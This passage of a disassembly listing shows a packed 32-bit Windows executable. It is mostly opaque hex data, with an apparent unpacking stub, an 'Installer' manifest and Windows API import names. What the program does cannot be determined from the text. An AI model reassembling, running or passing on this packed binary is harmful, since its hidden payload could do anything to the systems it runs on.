0BBA67898h, 35265B84h, 8F3AF156h dd 8FFB6E33h, 56FCEAE7h, 0EDFF12FFh, 0D603AA29h, 0C66A72B2h dd 0E9676136h, 0D21F47C4h, 0FFFF52FFh, 8EBD1FB2h, 3A85BB10h dd 0A219D3Dh, 0BCA46828h, 0E1B624A3h, 0FF3BC54Bh, 0E7FFFFFFh dd 8119947Eh, 119A0F8Ch, 5F716717h, 0CE1F180h, 3FBCCBEBh dd 25DF1F15h, 0DCADE956h, 0FF389759h, 9CA97FFFh, 0A3048D8Eh dd 7ED7FEh, 0F31C5931h, 9F20BF2Bh, 2D467CB8h, 0FF8BCF07h dd 9FFDB42Fh, 0FD5D5EE1h, 8295D940h, 0C3C8A417h, 657DECDDh dd 0F12AE589h, 72FD0BFFh, 0D5C1AA11h, 0AB14C394h, 78E0E821h dd 91B9039Eh, 4BCA21A3h, 2C6FFFFCh, 2B4D75A1h, 0F89C8D8Fh dd 9B5FFE11h, 0E229B90Ah, 0FF890BC4h, 0C8B625Fh, 0D5901A38h dd 6F97AFC1h, 0D9D90CB5h, 0FFBAA381h, 2DE2DFFFh, 0C8488525h dd 3A5EAC30h, 32C55C0Bh, 0DCB4EBE3h, 3E870EA9h, 0FF28CF93h dd 0D2FFFFFFh, 7A0CED41h, 0C5D6E93Dh, 7CBD3918h, 0B0272A62h dd 8134D845h, 0B916B919h, 44C7C669h, 0FF3796EBh, 71A17FFFh dd 2B72F9BDh, 7087618Eh, 9DBA9E97h, 0D602E308h, 4762F5A2h dd 0A5A3CD50h, 4FFFFFEh, 50493A5Bh, 0DF6C3665h, 0AB7079E0h dd 0BAC82F0Bh, 0D9F4F4DEh, 0FA249B78h, 10FC5AB7h, 0AC7D8A31h dd 26A7E2CEh, 0E63A3588h, 0FFFF561Ch, 2A7697FFh, 43595AD2h dd 0D1BE0586h, 394FA348h, 0AC16090Eh, 94EF42C0h, 46FC2D71h dd 0FFFFFFCFh, 89FA09FFh, 1C497E9Ah, 907CC37Dh, 8B6FC7B2h dd 0A0538EFEh, 1BCE10CBh, 43D62274h, 8DCABBDh, 0FF06FE39h dd 686AFBFFh, 9EDF0772h, 0EEFB5E1Bh, 233CC2FCh, 3F6373B0h dd 639B59B5h, 97EADFFFh, 1706D7F2h, 0F97F72D9h, 9B44154Dh dd 0F24E833Ah, 0FF35C2B1h, 20FFFFB7h, 30E3A7F0h, 2CF48F5Ah dd 0B1313670h, 0F7B9898Fh, 266B5D50h, 0B87A4D04h, 154A1A51h dd 66FC1020h, 0D24847ECh, 0FF2AB60h, 0A8034B08h, 30000253h dd 34D96654h, 41624CDh, 9BEA53F6h, 0DE9A69A6h, 8696C0D0h dd 6D9A5460h, 48542CD3h, 0C1352FAh, 0A69A6926h, 423403E9h dd 4D786652h, 3CAE7DD7h, 78A0023h, 0C4AE039Ch, 74D3BB2Ch dd 3EAD63Fh, 5D1E550Ah, 2ED35837h, 57E42F7Ah, 34BC03D2h dd 0AE34D34Dh, 6E7A8A98h, 0D34D34D3h, 283A5462h, 0B3B05F16h dd 51F8064Dh, 0DF07B83Fh, 3301BDEEh, 50945297h, 50676C13h dd 13D20396h, 64553C88h, 9414FFFBh, 43002C23h, 55726168h dd 72657070h, 4BF0D41h, 724565D0h, 75436365h, 0EB6F7372h dd 72B641FEh, 6544460Fh, 6F746B73h, 11472170h, 0B9641FFh dd 63494D57h, 72466E6Fh, 0FF736D6Fh, 1952B7E5h, 6372756Fh dd 4400A165h, 53776172h, 0F3391C74h, 0C4A802C7h, 63655253h dd 47F70074h, 467DBE7Eh, 7375636Fh, 49016A83h, 776F4C73h dd 58B3017Eh, 61096FF7h dd 74694264h, 8170616Dh, 5AD98F0Dh, 465D7D00h, 0BB8615FCh dd 491B6FEDh, 0A0596721h, 73734D01h, 2D6F420Bh, 78FDCDF5h dd 69646E49h, 0AE166272h, 0D2654F01h, 0EDBFB56Fh, 75425AFEh dd 38276666h, 73410E02h, 696963h, 41B577h, 1E1F6AA8h, 0DBEE97BFh dd 247056B6h, 6972A865h, 6EA9676Eh, 0BAE9756Eh, 4CC764EDh dd 5C751461h, 6D801973h, 786D4016h, 0AD9BF798h, 0D63BADDh dd 64FE6854h, 9B00A21Bh, 0B6DB6F7Ch, 0A92C3561h, 68676C0Fh dd 5D7B9AB0h, 0EB707F7Bh, 0B86EF7C8h, 0DB5D7BF8h, 252D4C29h dd 532311F5h, 0BED7A69h, 0FE325BDBh, 2663DA0Dh, 656D6954h dd 1BD0102Fh, 400132CCh, 70757472h, 0CD942CADh, 0A0A3F97Dh dd 21BAA76h, 6974DD72h, 8EEA5326h, 0B76CA400h, 53110EEDh dd 792C7262h, 4601AAA9h, 5010EDD0h, 1CA0D92h, 10CF0B2Eh dd 6C0566AFh, 0BB6D736Ch, 6F17C1BDh, 5674430Bh, 0DA1A7529h dd 77F0DFB1h, 746E5502h, 77656956h, 832C664Fh, 23BD0C02h dd 1D7BE6A0h, 29E0016h, 3B42B657h, 196576D6h, 2F3802B5h dd 0B6D97461h, 0B96BEB30h, 0C69440Bh, 0F9160BBBh, 8370DF61h dd 416E0BBDh, 4338BF00h, 0ABB0AD8h, 0FA0B6B00h, 0AD87F6Ch dd 160595ADh, 441FE2B4h, 80BBB5F6h, 4F00271Ah, 0E050CC0Fh dd 0B6EADED6h, 30B1727Ah, 6967654Dh, 5E17361Eh, 7954ED70h dd 17E3C6h, 41516153h, 61D8D972h, 6367EC6Bh, 1538398Bh dd 6334ACB1h, 0D111CD92h, 0B0CDDBBAh, 4D796F7Fh, 45F0004Fh dd 0DB2EF012h, 0F514FA1h, 0DF737953h, 9AD7B422h, 700F51FFh dd 0B3B30A21h, 572312CDh, 28E77E0Ch, 86D1911h, 0DA005055h dd 65435A19h, 7475BF45h, 908A8988h, 0FC8F016Fh, 0BF581DFh dd 8C80004h, 430780C8h, 0D1AA101h, 7674Ah, 0DCEA0E4Bh dd 3905B96Dh, 61380366h, 2000650Bh, 0DCCDBAC6h, 0F73006Eh dd 2161016Ch, 0DDDD636Fh, 631913E6h, 70006D07h, 642B6515h dd 77281535h, 90000A66h, 442071ABh, 3D73DB7h, 0B351568h dd 44670544h, 7184FD34h, 10A5001h, 2B0BE594h, 430ED041h dd 5F6BA899h, 3DD7313h, 20003773h, 16BA08ADh, 842B6D77h dd 1A00BF33h, 7252B42Bh, 9FF75D75h, 69714523h, 0E93D3279h dd 72E4CDBAh, 416113D5h, 0AC799B6Bh, 75AE9A6Bh, 75726607h dd 0B7BD64A7h, 21DD24BDh, 2DA31B67h, 0FB9F75C7h, 0A919615Ch dd 75D95B61h, 7D837427h, 730FDCCFh, 6B296500h, 48741179h dd 4964DD78h, 17621173h, 0C2E2E629h, 0EF10D5Eh, 73EEBE89h dd 5101B62Dh, 8200EFE1h, 986BAE07h, 84236AB0h, 0DB4B6117h dd 0D94FF26Fh, 1703E9C3h, 6C4381h, 12002Bh, 94B6E10h, 0EB2F6B03h dd 3084349h, 0D4210B09h, 7401592Fh, 6910D8DDh, 20116EE3h dd 9A116FD7h, 37658DEEh, 216A75FBh, 7D8D8C22h, 74237429h dd 84016D1Dh, 2F32EE6Dh, 7493192Eh, 7787B49h, 570D7037h dd 4779C369h, 19AF7473h, 3D436568h, 0B8035B0Dh, 57EE7DCFh dd 1702311h, 745F631Dh, 0AB6612DFh, 4F731FD3h, 31936069h dd 0CB6374D2h, 0CB0FF520h, 1F663182h, 0BE6B05BBh, 2B62F7D8h dd 9775077Dh, 0BA416635h, 6EC1C6C1h, 74AD6EDFh, 84A6EB36h dd 9734364h, 2321DB66h, 6D4D8BDFh, 6CB74B6Bh, 0C200C662h dd 0BF2E3D48h, 8042EF09h, 42D33211h, 0A0960453h, 0B0205008h dd 4441FF20h, 474E4944h, 1C0F5858h, 420D2555h, 32B7C060h dd 9C10895Fh, 4865736Fh, 2ABAACBAh, 0FF01F4AFh, 18E0301h dd 18E61B3h, 9FAB0152h, 5B1659ABh, 2A6F5008h, 55CD97ECh dd 4D470FAFh, 6C75646Fh, 0C021BE29h, 6D614E7Bh, 541D092Dh dd 0ADF6B157h, 6F436BE5h, 660D2D75h, 36D75EF6h, 27136D36h dd 6B093173h, 180CD82Dh, 0AE253676h, 70DB66C6h, 0D681450h dd 9F7486h, 62AB5AE9h, 53132287h, 40203780h, 0EF0501CAh dd 2DCD8F00h, 73614C2Dh, 95ADB214h, 7D0D6460h, 7FBCA02Dh dd 127F60B1h, 6464410Bh, 0F80D0F72h, 1D790612h, 0C06EEC56h dd 459501BBh, 6FD78978h, 0DCD6066h, 0EF2C140Bh, 2C12120Dh dd 40646179h, 12C26E6Eh, 0F5117E3Bh, 0C9016D72h, 0B23D096h dd 61C06D4h, 7B01CF8Ch, 82FB9D01h, 4455184Bh, 86A46F18h dd 0DE82CD3Fh, 7377806Dh, 58AA7270h, 66B30588h, 73BC6728h dd 0A0BC87E7h, 0E92ED01Ch, 796CF147h, 8010F3Eh, 16E213B4h dd 3488A0B7h, 401C10A1h, 1D962800h, 0C80CF021h, 1C2C0076h dd 3C5221B4h, 3AC08175h, 0A792ACCCh, 2282C38Ch, 401C1E90h dd 8C78A0BAh, 9037081Ch, 0F46038A0h, 5B212FBh, 0C1C06C5h dd 766CEC0Bh, 73302726h, 1417850Ah, 95B47D1Ch, 10F9DD34h dd 12AE4FB0h, 856E7808h, 227C0D84h, 5, 12006134h, 0FF0000h dd 2 dup(0) dd 9000BE60h, 0BE8D0040h, 0FFFF8000h, 0FFCD8357h, 909010EBh dd 90909090h, 8846068Ah, 0DB014707h, 1E8B0775h, 11FCEE83h dd 0B8ED72DBh, 1, 775DB01h, 0EE831E8Bh, 11DB11FCh, 73DB01C0h dd 8B0975EFh, 0FCEE831Eh, 0E473DB11h, 0E883C931h, 0C10D7203h dd 68A08E0h, 0FFF08346h, 0C5897474h, 775DB01h, 0EE831E8Bh dd 11DB11FCh, 75DB01C9h, 831E8B07h, 0DB11FCEEh, 2075C911h dd 75DB0141h, 831E8B07h, 0DB11FCEEh, 0DB01C911h, 975EF73h dd 0EE831E8Bh, 73DB11FCh, 2C183E4h, 0F300FD81h, 0D183FFFFh dd 2F148D01h, 76FCFD83h, 42028A0Fh, 49470788h, 63E9F775h dd 90FFFFFFh, 0C283028Bh, 83078904h, 0E98304C7h, 1F17704h dd 0FF4CE9CFh, 895EFFFFh, 0BB9F7h, 78A0000h, 3CE82C47h dd 80F77701h, 0F275003Fh, 5F8A078Bh, 0E8C16604h, 10C0C108h dd 0F829C486h, 1E8EB80h, 830789F0h, 0D88805C7h, 0BE8DD9E2h dd 0E000h, 0C009078Bh, 5F8B3C74h, 30848D04h, 102FCh, 8350F301h dd 96FF08C7h, 10338h, 47078A95h, 0DC74C008h, 4857F989h dd 0FF55AEF2h, 1033C96h, 74C00900h, 83038907h, 0E1EB04C3h dd 34C96FFh, 0AE8B0001h, 10340h, 0F000BE8Dh, 0BBFFFFh dd 50000010h, 53046A54h, 8DD5FF57h, 1F787h, 7F208000h dd 7F286080h, 50545058h, 0D5FF5753h, 448D6158h, 6A8024h dd 0FA75C439h, 0E980EC83h, 0FFFF0C92h, 16Ch dup(0) _data ends ; Section 3. (virtual address 00011000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00011000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 411000h dd 2 dup(0) dd 4, 20001h, 800000E8h, 80000028h, 5, 80000068h, 18h dd 800000A8h, 2 dup(0) dd 4, 10000h, 68h, 80000040h, 2 dup(0) dd 4, 10000h, 409h, 58h, 40F0h, 0A600h, 4E4h, 3 dup(0) dd 4, 10000h, 69h, 80000080h, 2 dup(0) dd 4, 10000h, 422h, 98h, 0E6F0h, 3D4h, 4E4h, 3 dup(0) dd 4, 10000h, 1, 800000C0h, 2 dup(0) dd 4, 10000h, 409h, 0D8h, 110F4h, 205h, 4E4h, 0 dd 420003h, 4E0049h, 0EAC4h, 6D783F3Ch, 6576206Ch, 6F697372h dd 31223D6Eh, 2022302Eh, 6F636E65h, 676E6964h, 5455223Dh dd 22382D46h, 61747320h, 6C61646Eh, 3D656E6Fh, 73657922h dd 0D3E3F22h, 73613C0Ah, 626D6573h, 7820796Ch, 736E6C6Dh dd 7275223Dh, 63733A6Eh, 616D6568h, 696D2D73h, 736F7263h dd 2D74666Fh, 3A6D6F63h, 2E6D7361h, 20223176h, 696E616Dh dd 74736566h, 73726556h, 3D6E6F69h, 302E3122h, 0A0D3E22h dd 613C2020h, 6D657373h, 49796C62h, 746E6564h, 20797469h dd 73726576h, 3D6E6F69h, 302E3122h, 302E302Eh, 200A0D22h dd 20202020h, 636F7270h, 6F737365h, 63724172h, 65746968h dd 72757463h, 58223D65h, 0D223638h, 2020200Ah, 616E2020h dd 223D656Dh, 74736E49h, 656C6C61h, 0A0D2272h, 20202020h dd 70797420h, 77223D65h, 32336E69h, 0D3E2F22h, 3C20200Ah dd 73757274h, 666E4974h, 6D78206Fh, 3D736E6Ch, 6E727522h dd 6863733Ah, 73616D65h, 63696D2Dh, 6F736F72h, 632D7466h dd 613A6D6Fh, 762E6D73h, 0D3E2232h, 2020200Ah, 65733C20h dd 69727563h, 0D3E7974h, 2020200Ah, 3C202020h, 75716572h dd 65747365h, 69725064h, 656C6976h, 3E736567h, 20200A0Dh dd 20202020h, 723C2020h, 65757165h, 64657473h, 63657845h dd 6F697475h, 76654C6Eh, 0A0D6C65h, 2 dup(20202020h), 656C2020h dd 3D6C6576h, 49736122h, 6B6F766Eh, 0D227265h, 2020200Ah dd 20202020h, 75202020h, 63634169h, 3D737365h, 6C616622h dd 2F226573h, 200A0D3Eh, 20202020h, 722F3C20h, 65757165h dd 64657473h, 76697250h, 67656C69h, 0D3E7365h, 2020200Ah dd 732F3C20h, 72756365h, 3E797469h, 20200A0Dh, 72742F3Ch dd 49747375h, 3E6F666Eh, 2F3C0A0Dh, 65737361h, 796C626Dh dd 4441503Eh, 411350h, 2 dup(0) dd offset dword_411350 dd offset dword_411350 dd offset aNia+4 dd 2 dup(0) dd offset aNia+4 dd offset aNia+4 dd 5 dup(0) dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7C809A51h, 7C809AE4h dd 7C81CDDAh dword_411350 dd 0 ; .rdata:0041130Co aNia db '¨A~',0 ; DATA XREF: .rdata:00411310o ; .rdata:0041131Co ... align 4 aKernel32_dll db 'KERNEL32.DLL',0 aUser32_dll db 'USER32.dll',0 dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h, 41636F72h dd 65726464h, 7373h, 74726956h, 506C6175h, 65746F72h, 7463h dd 74726956h, 416C6175h, 636F6C6Ch, 69560000h, 61757472h dd 6572466Ch, 65h, 74697845h, 636F7250h, 737365h, 73770000h dd 6E697270h, 416674h, 30Ah dup(0) _rdata ends ; Section 4. (virtual address 00012000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00012000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _idata segment para public 'DATA' use32 assume cs:_idata ;org 412000h dd 7C8260C2h, 7C812F1Dh, 7C80C058h, 7C85F03Ch, 7C901005h dd 7C812A09h, 7C832044h, 7C809740h, 7C80B974h, 7C80BE01h dd 7C80BAA1h, 7C834D41h, 7C821982h, 0 dd 77185F81h, 77142A69h, 77125189h, 7712AB11h, 77125013h dd 77124880h, 7713DEF3h, 77196CCDh, 0 aJ_eAC db '†_E~`ÚA~—',0 dw 7E43h dd 7E4208CEh, 7E41EF69h, 7E4212E0h, 7E43B851h, 7E42E002h dd 7E4186C7h, 7E41C257h, 7E43D034h, 7E41C236h, 7E44FB60h dd 7E455BD7h, 7E41AEF1h, 7E41A8ADh, 0 dd 1214Ch, 2 dup(0) dd 12278h, 1205Ch, 120F0h, 2 dup(0) dd 12354h, 12000h, 12128h, 2 dup(0) dd 123FAh, 12038h, 5 dup(0) dd 122C0h, 122D0h, 122B2h, 1229Ch, 12284h, 122EEh, 12300h dd 12310h, 1231Eh, 12348h, 1233Ch, 12330h, 122E2h, 0 dd 12372h, 12384h, 1239Ah, 123B0h, 123C2h, 123D6h, 123E6h dd 12362h, 0 dd 12266h, 1225Ah, 1224Ch, 12240h, 12232h, 1221Eh, 1220Eh dd 12200h, 121F8h, 121ECh, 121E0h, 121D0h, 121BCh, 121AAh dd 1219Ch, 12190h, 0 dd 73770262h, 6E697270h, 416674h, 68430028h, 6F547261h dd 416D654Fh, 460000h, 61657243h, 65446574h, 6F746B73h dd 4170h, 72430050h, 65746165h, 5749444Dh, 6F646E69h, 4177h dd 65440083h, 6F727473h, 72614379h, 7465h, 7244009Eh, 63497761h dd 6E6Fh, 694600C7h, 65526C6Ch, 7463h, 654700EDh, 434474h dd 65470119h, 73654D74h, 65676173h, 16A0041h, 68437349h dd 6F4C7261h, 41726577h, 17D0000h, 64616F4Ch, 65636341h dd 6172656Ch, 73726F74h, 1800057h, 64616F4Ch, 73727543h dd 41726Fh, 6F4C0184h, 63496461h, 416E6Fh, 654F01ADh, 436F546Dh dd 41726168h, 1FB0000h, 46746553h, 7375636Fh, 22B0000h dd 776F6853h, 656E774Fh, 706F5064h, 737075h, 72657375h dd 642E3233h, 6C6Ch, 6E450063h, 43726574h, 69746972h, 536C6163h dd 69746365h, 6E6Fh, 6E450072h, 65526D75h, 72756F73h, 79546563h dd 41736570h, 810000h, 74697845h, 65726854h, 6461h, 724600B5h dd 65526565h, 72756F73h, 6563h, 654700C8h, 6D6F4374h, 646E616Dh dd 656E694Ch, 1CA0041h, 6E65704Fh, 656C6946h, 1EC0000h dd 73696152h, 63784565h, 69747065h, 6E6Fh, 6553022Dh, 646E4574h dd 6946664Fh, 656Ch, 6C54026Eh, 74654773h, 756C6156h, 2770065h dd 616D6E55h, 65695670h, 46664F77h, 656C69h, 736C02B5h dd 61637274h, 4174h, 736C02B9h, 6D637274h, 416970h, 736C02BBh dd 70637274h, 4179h, 6E72656Bh, 32336C65h, 6C6C642Eh, 50000h dd 61656C43h, 73754372h, 74614474h, 270061h, 4C656C4Fh dd 5064616Fh, 75746369h, 6572h, 65520031h, 656B6F76h, 69746341h dd 624F6576h, 7463656Ah, 320000h, 65666153h, 61727241h dd 63634179h, 44737365h, 617461h, 61530038h, 72416566h dd 43796172h, 74616572h, 3C0065h, 65666153h, 61727241h dd 73654479h, 796F7274h, 530000h, 46737953h, 53656572h dd 6E697274h, 540067h, 52737953h, 6C6C4165h, 7453636Fh dd 676E6972h, 6C6F0000h, 74756165h, 642E3233h, 6C6Ch, 0FAh dup(0) dd 32000000h, 35313230h, 35h, 201h dup(0) _idata ends ; Section 5. (virtual address 00013000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00013000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 413000h align 2000h _idata2 ends end start